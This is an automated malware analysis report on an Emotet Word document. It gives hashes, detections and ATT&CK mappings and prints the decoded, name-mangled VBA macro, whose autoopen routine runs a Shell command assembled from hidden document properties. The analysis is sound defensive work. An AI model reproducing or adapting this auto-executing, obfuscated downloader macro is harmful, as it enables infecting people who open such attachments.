Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b6bfdbfcbb509791…

MALICIOUS

Office (OLE)

66.0 KB Created: 2017-09-22 08:15:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 5d7648af21280c4c90524e89764d5afc SHA-1: 16f0b96de88ec15626905ba8926ce835fdb806fe SHA-256: b6bfdbfcbb5097912ad8bdf9cec2592a162a27b7c367193d1fdd10d9db5182dc
172 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6344335-3', indicating it belongs to the Emotet family. Heuristics confirm the presence of VBA macros, including an AutoOpen macro and a potential Shell call, which are commonly used by Emotet to download and execute further stages. The extracted 'macros.bas' file is the source of this malicious behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6344335-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6344335-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     MUGrTrAwp = ("RDaSdXup")
VBA.Shell$ "" + VZeytYae + FgpMzUWXDBn + HLgYYbs + CfbchTxGth + dzkZPVfTn + vnWPuMr + aUrBawC + uDsuZye + YdFaXRezX + xMBFTHU + kSvxXwbmtpx + XFKtuMKgSgM + UMcvaKyYM + kzfbsDxpfnk + ActiveDocument.CustomDocumentProperties("uXtuhUF") + ActiveDocument.CustomDocumentProperties("aUxWUEZ") + VZeytYae + FgpMzUWXDBn + HLgYYbs + CfbchTxGth + dzkZPVfTn + vnWPuMr + aUrBawC + uDsuZye + YdFaXRezX + xMBFTHU + kSvxXwbmtpx + XFKtuMKgSgM + UMcvaKyYM + kzfbsDxpfnk + ActiveDocument.BuiltInDocumentProperties("Comm …
ABmuzfct = ("DGTHCUfyCkm")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
HrWumhUYrWR = ("ZTfYtDgbLme")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4568 bytes
SHA-256: 44e1c1be79443608ebfb2535b14228870d6ba26dd99b36e3cfded5872c307eee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
112 of 141 identifiers look randomly generated (e.g. 'BUfgrWBbtuvWDRATbdGrHBKCyHraNmNzKFmbYWfX') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'tUNGTDScyeDPCDLXzuNFApzBsDZdzuxNFvVfEBHnCxvuhPnrENbwWtCrdZukbLR
 'ZwkKzCKEURUpkzAfLvPSCzmEuxHbKbUkEfyZrFwNrMVGPThXHbsWyuvvzRTu
 'FPNARsSpTVPTMYuCLZFanXhuduCvnnypaFMsxfbwWxbTTFuFnBTkgCEMemUAT
 'AUKMWxFKfRYyMUszUnFWYbuUGEAeXutpYnGTTWpnnZLEWAtTyGRLUZutgkudCn
 'tLDDEuBkbCkNCXUfCUbNgmagGrfuCXMGCgBAPZYxuxmChcpnfNzwCLWADX
 'EPBekBVcSsTRbbWuhHdcGTkVKNBcSLxtdsHryRLbvkTtaPFTRtxbVGNEELwSh
 'NpzfZVuwXhkuzNwPWCCXAaEFWpvSEaNtBTznAdGdgLmcKEZMkSCugbadfC
 'hhnTZYdtEGVhddXcznZxnFzdYMsxSASXDDWfgtRFGzRtZXNemDUmPHhfwTugeXzt
 'FeaVUhAHegCsueFuTANwMVnGzBwBxbcRRgbdFGPDkDgnNBERSPDLaUZRLSaTvdU
 'pwrgUxMmRGceXswnpCCZfDfpmAWrCnEaSEhpYbEWrtbPDFYXTMgwBgUXZBHX
 'BUfgrWBbtuvWDRATbdGrHBKCyHraNmNzKFmbYWfXavpSARUttXmCgEZDRwYBygXEUKZSV
 'yFYXxDzyCURdXMFBfneYPUGyzWGFRhrcFhdFDEMzEVvXAbdKRaEAmKwpwXDztP

Function FDNNtWaWw()
rHCSGXwhM = ("cBGTpKtCTX")
 CeshzuXLXhB = ("ktGLbmUkK")
 BtcKZRHNwZ = ("RssdwThh")
dccuBsxPX = ("WnZtEmY")
 hwUmnTLNk = ("fDGvrsZuVgd")
 bbVVYGzUc = ("HNWnuUF")
bLbeTnpaw = ("WWGCMRvz")
 DDPeNpV = ("KwNXRugxh")
 kktefBZ = ("LzpVbbRbah")
 EuwbhFe = ("BCSyFxcZGV")
bMYnbGufSA = ("ZcBFRVKVUtS")
 ZYhfLyw = ("fNnxthMF")
 DzKWYbZZgp = ("eKfaZZK")
 MUGrTrAwp = ("RDaSdXup")
VBA.Shell$ "" + VZeytYae + FgpMzUWXDBn + HLgYYbs + CfbchTxGth + dzkZPVfTn + vnWPuMr + aUrBawC + uDsuZye + YdFaXRezX + xMBFTHU + kSvxXwbmtpx + XFKtuMKgSgM + UMcvaKyYM + kzfbsDxpfnk + ActiveDocument.CustomDocumentProperties("uXtuhUF") + ActiveDocument.CustomDocumentProperties("aUxWUEZ") + VZeytYae + FgpMzUWXDBn + HLgYYbs + CfbchTxGth + dzkZPVfTn + vnWPuMr + aUrBawC + uDsuZye + YdFaXRezX + xMBFTHU + kSvxXwbmtpx + XFKtuMKgSgM + UMcvaKyYM + kzfbsDxpfnk + ActiveDocument.BuiltInDocumentProperties("Comments") + VZeytYae + FgpMzUWXDBn + HLgYYbs + CfbchTxGth + dzkZPVfTn + vnWPuMr + aUrBawC + uDsuZye + YdFaXRezX + xMBFTHU + kSvxXwbmtpx + XFKtuMKgSgM + UMcvaKyYM + kzfbsDxpfnk + gAPGkwbv, 0
ABmuzfct = ("DGTHCUfyCkm")
 PxCfaPf = ("nUNRFEbZxYy")
 ekXctDKy = ("hLWuBvZ")
 DMnLtNEs = ("ZkbkfVTthuk")
zAYCHxNADhg = ("yUxsZzK")
 bYLbtdKAE = ("rwdERSbsrE")
smUgAmh = ("bGtvBuXe")
 myVspWbrpwW = ("hawXawNVbt")
 vNmVYeUCUT = ("hAHuzDcvaK")
 AvVPvSk = ("UvsNmbt")
nPxhuys = ("kSGVssVX")

End Function
'mGTabFuecAUCYMEDDLgCwBZKFkyYHHCWNBuRBbxaXKKuTfdHNtkbMTaEYU
 'UKRDfbHHUgDBCYVSeDZGnEkfNMSPwDvGfHhDyYfnhRbmZxaMTfcDxyrMpKVcMhXAgxUR
 'DMLPdbrCCUMngsdDvaxrewkhYnmzCmabeFHCNkhGuHpfgAgSChsSBCTKS
 'saHKmzynYVxCUsSxDLtMzTugdAhfeueMKDTPWNtthMyBWMfPyMFUppSBzuN
 'byuRuKWcWHTwTYPLhcDGSXGZYYDRMzmaeZeFrfVzucdNCVzUVcvWZATefzTN
 'rYTvVaXeBFUcgxXLDYWHXWTyLyTmWxNVDCGFdcbHdLYHrnmyyhRWWm
 'xfKULWYKUXXtHRneVMdsUyfsPAVuyguRPfZtByXExAYMhBYSNYbbKRv
 'hxunPpTwtTxvvTTeeusTMRmnruyyVGnZhtDYcnpVVZwFGbyMVCDEPDcXEStkS
 'XzGzAfxVPDvLmFPbZpFCYvuPRXYNSaZgAHEwrTgTzDvcmmShNWZngm
 'twSMcBBAbtTSyuwyyWEzEXxXZXvvStwgAeEtdTNSLPZZgcfHdDnFDfFfPrZpafxv
 'WZXzAVeZXsPnFdfmCYVGeBmFGWckbTrwKXnRrFDMyPHCxBCceBbrUWXXAdCz
 'gvGSvsfyxRwgLPcbAfWmyYYCVXLXhPNrbKZBmSNKZUsDHReaFpTmnDKYePKc
 'vprVTpMTDUuUGxgTSDFpACNgTYvtkGRbpMkZYVddunBMunDkLLCsEYAftkBdacPunYRV
 'dxYevddSebaGBXDrZDdBAMNVfsFdkuLMPRdfCEzZPfknNDupPYudWAcMtCbPTPwAG
 'sgkMCCrmhdgNPXKXWmMHGbtnfdcNyruGnzCTtcbAYLPtpuFNLuWuncuv
 'vSpNCpnBFzkuKTpSCTBabBTZbzPuKKDPeufvYRkkAaBAUVAfTtnHNmReHzkyNW
 'xENWdwEtTTdVAebDKANAtkZydGMTmmVGAtwVWrkHZnskKXyEsmfBAAucGbtpnAmf
 'pfemUPpdRXcghKkZUTGEuXwweGgyYRdygrVgAYNgeEWskhzGBFahfGUdBZyrLEMv
 'xVSMWzzhdMheZgGEzMpSZUYenxHzrrydMacVPCsuRuGnTdBMKUMUnnCzmMcgEt
 'VUhzRmBEHudSahNxdUdSZwVBkdaUZRfGGhzcBzDyMdpKGUSdWSLYnXGHb
 'NXxWYkApzWyrbNAChzsakMAVHvDXaSzMnbBaRkrmLdDmxgvgMgWgxsmeHyrLrr
 'keYghwNnrLaGLPWBXZrheGTyhkAzsYXenKyxPwDxfrntyaLxNBLxbuNARtvdNdMXgML
 'SKpeWXURGhuwabxbcKxhDuzhxHTKWXtdeyeKTrPkRNEBrGreSEcdRXaGynCg
 'tCNuBvDDEfFkgUPLnMMHFMgTsgpstBSFzpgMzSUKGPmGzwCsYMHxFekHkVM
 'VnurDeScxmNGKcChdrSzLtaBWHWCBBfXAVbELySFZdarUwmHwPecfaCVZUGKgdwu
 'mSwwZauHWuanbVspgFKVDYetrWRTKAkBwzYYWpkLkKLNTybuuGEKLhRcHuHScvc
 'FteXBZVWcpDLTxXRRVcUKwsaRyeETCcvsGGEgZxnVxCKhKaxWNDXvmthtyHRPuL
 'MUPnfEEgNtueHccEZvFnkwtbhSUabZZxkTzmykgsUPhCHaZeZrFdnLpHLeZUrSCAyR

Sub autoopen()
HrWumhUYrWR = ("ZTfYtDgbLme")
GFZTdSUd = ("gNeMuWUMSBZ")
FDNNtWaWw
tHVeYsXmz = ("AGtYwgPF")
 nuEHhmXr = ("RAAhgWb")
 FeDZsmrs = ("tsKZdwRUF")
 HSCnARMZvD = ("WkwkDyyN")
ESXpufG = ("wfdcxFcEc")

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.